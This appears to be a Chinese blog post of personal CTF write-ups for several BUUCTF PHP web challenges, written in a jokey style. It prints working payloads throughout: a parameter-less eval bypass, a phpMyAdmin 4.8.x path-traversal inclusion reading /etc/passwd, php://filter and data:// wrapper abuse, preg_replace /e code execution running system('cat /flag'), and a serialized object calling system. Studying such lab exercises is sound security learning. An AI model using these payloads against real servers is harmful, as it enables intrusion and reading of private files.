快乐寒假4
你👱🏻滴寒假本来似上分滴time
不过你👱🏻后面确实success了,继续滚回来do题
[GXYCTF2019]禁止套娃
又是一道感觉似曾相识的题目
你👱🏻打开环境,映入眼幕的是问你👱🏻flag在哪,别的没了
查看源代码也没有任何东西,看起来无货可整。
在没有其他明显目录而且没有hint的情况下考虑存在git泄露
使用Githack看看
果然扫出来一个,下面是源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
分析下源码,大概是以下这样
- 需要以GET形式传入一个exp参数,如果满足条件,会执行这个参数的内容;
- 过滤了几个常用的伪协议;
- (?R)?重复引用当前表达式(递归调用),所以只能无参数绕过;
- 过滤了一些关键字,限制一些函数的使用
首先查看下当前目录的文件
payload:?exp=print_r(scandir(current(localeconv())));
- localconv():函数返回一包含本地数字及货币格式信息的数组,数组第一项是.
- current()/pos():函数返回数组中的当前元素,初始指向第一个元素。
- 所以current(localeconv())==’.’ (永远是点)
- scandir(‘.’):列出当前目录中的文件和目录。
![)PK6UYXP4`S$G8ZLJSDBT{9.png](https://s2.loli.net/2022/02/08/qZLCNT5R6MAShUt.png)
然后要读flag.php的内容
payload:?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
得到flag
[GWCTF 2019]我有一个数据库
你👱🏻打开环境 只有两行字,F12确实就那点字
既然提到了数据库,那么可以推测有phpmyadmin存在
你👱🏻用扫描一看确实,直接进入连密码都不用输,
phpmyadmin4.8.0-4.8.1存在文件包含漏洞
使用你👱🏻找的payload直接打
?target=db_datadict.php%253f/../../../../../../../../etc/passwd
将etc/passwd改成flag得到flag
[BJDCTF2020]ZJCTF,不过如此
打开题目,嗯,代码审计
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
可以用php://input伪协议来绕过file_get_contents()
因为有include(),所以可以用php://filter来读取文件
于是构造payload为
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
得到一段base64加密的字符串,解密后得到
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
继续进行代码审计,这里你👱🏻说一下知识点
preg_replace()函数最后以/e结尾时,会存在命令执行漏洞,也就是说如果有/e,并且匹配到符合正则表达式的字符串,那么第二个参数的字符串将被当做代码来执行
这里的第二个参数是strtolower(“\1”),也就是strtolower(“\1”),而而\1在正则表达式中有自己的意思,也就是指定第一个匹配项,简单来说就是取出正则表达式匹配后子匹配表达式的第一项
这里你👱🏻还偷了一点正则表达式的知识点
正则表达式的\S:匹配所有非空白字符;
.号:匹配除\n外的任意字符;
*号:匹配前面的字符0次或者多次
+号:匹配前面的字符1次或者多次(如果要在url里输入+号,必须要对其进行编码,+号编码为:%2b)
php里,如果 双引号中有变量,那么php解释器会将其替换为变量解释后的结果,但单引号中的变量不会被处理(不过双引号中的函数不会被执行)
继续审计,对于foreach()函数,这个函数就是将我们传进去的参数变为正则,并且参数值变为字符串,getFlag()是需要我们eval执行的。
接下来构造payload
\S*=${getFlag()}&cmd=system('cat /flag');
这个简单来说就是php5.5.0起的一个漏洞,pl为 /?.={${phpinfo()}}。get值是/?.,参数是{${phpinfo()}}
这里解释下用\S*而不是用.*的原因:
因为在php中,对于传入非法的$_GET参数名,会将其转换为下划线,导致正则匹配失效
这里的.会被和谐成_
所以你👱🏻只能使用\S*或者\S%2b来进行构造payload
所以最后为
http://e86a8450-06ee-47e1-84d7-a672322f8cfc.node4.buuoj.cn:81/next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);
[网鼎杯 2020 朱雀组]phpweb
可以 这风格你👱🏻喜欢
抓个包
POST有两个参数,其中date是函数,后面是他的参数,换成读取源代码确实能读到源代码,这里还可以合理怀疑使用了call_user_func()函数
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
这里可以看到禁用了system等函数,所以可以用序列化加上url编码绕过
因为过滤只对我们输入的post的func进行检查,在test类里并没有检查,所以更改Test类中的参数即可让我们的system函数传入
先查看目录
<?php
class Test {
var $p = "ls /";
var $func = "system";
}
$a = new Test();
echo serialize($a);
//unserialize
?>
再看flag在哪
最后再看flag
<?php
class Test {
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$a = new Test();
echo serialize($a);
//unserialize
?>
[强网杯 2019]高明的黑客
都这样说了 你👱🏻不得去看看源🐴?
这🐴好多,你👱🏻作为银类肯定是整不动了,只能ask for 帮助了
随便打开一个页面,发现里面存在着大量的system和eval函数,而且参数是我们可控的,所以你👱🏻可以通过$_GET[]来传递命令,然后由system()或eval()执行,但大概率是只有答案那个参数可以用,所以我们需要脚本来找出那个参数。
后面你👱🏻自己写和找的脚本都不行
这题你👱🏻卡太久 暂时跳过
[BJDCTF2020]Mark loves cat
进来什么都没有,是个模板前端
你👱🏻用哪dirsearch扫了一下 发现.git泄露
用githack下载下来源码 分别有flag.php和index.php
flag的内容只有:
$flag = file_get_contents('/flag');
index的内容有:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
前两个foreach语句分别将POST参数和GET参数进行变量覆盖,接着是三个if语句,exit()函数退出脚本的同时输出变量,最后一句是输出我们想要的flag
你👱🏻要做的就是让脚本执行到最后一句echo $flag;
但即使绕过三个if语句,我们GET传参或者POST传参的flag总会被变量覆盖:如我们GET传参flag=aaa,在第二个foreach语句中变成$flag = $aaa,而$aaa变量没有定义为空,最后的输出就是空
我们POST传参flag=aaa,在第一个foreach语句中变成$flag= aaa,flag被覆盖为‘aaa’,最后输出aaa
你👱🏻沾点无奈了,但是if语句中的exit()函数虽然会退出执行,但也会输出其参数,你👱🏻可以利用变量覆盖将exit()函数内的参数用$flag覆盖掉就能输出flag了
这里面有三个if语句,其中有两个能利用变量覆盖输出flag,也就是说有两种方法
一是第二个if语句中可以看到这里是输出的$yds变量,那么我们就要通过变量覆盖达到$yds=$flag的效果,GET传参yds=flag,在第二个foreach语句中,首先是$x=yds,$y=flag,经过$$x = $$y也就变成了$yds=$flag
二是第三个if语句中输出变量$is,判断条件为$_POST[‘flag’] === ‘flag’ || $_GET[‘flag’] === ‘flag’,这里可以通过满足后面这个条件进行变量覆盖:GET传参is=flag&flag=flag;在第二个foreach语句中,首先是$x=is,$y=flag,带进去就变成了$is=$flag,这就达到了覆盖的目的,而参数中flag=flag只是为了满足if语句
传入进去 F12就拿到flag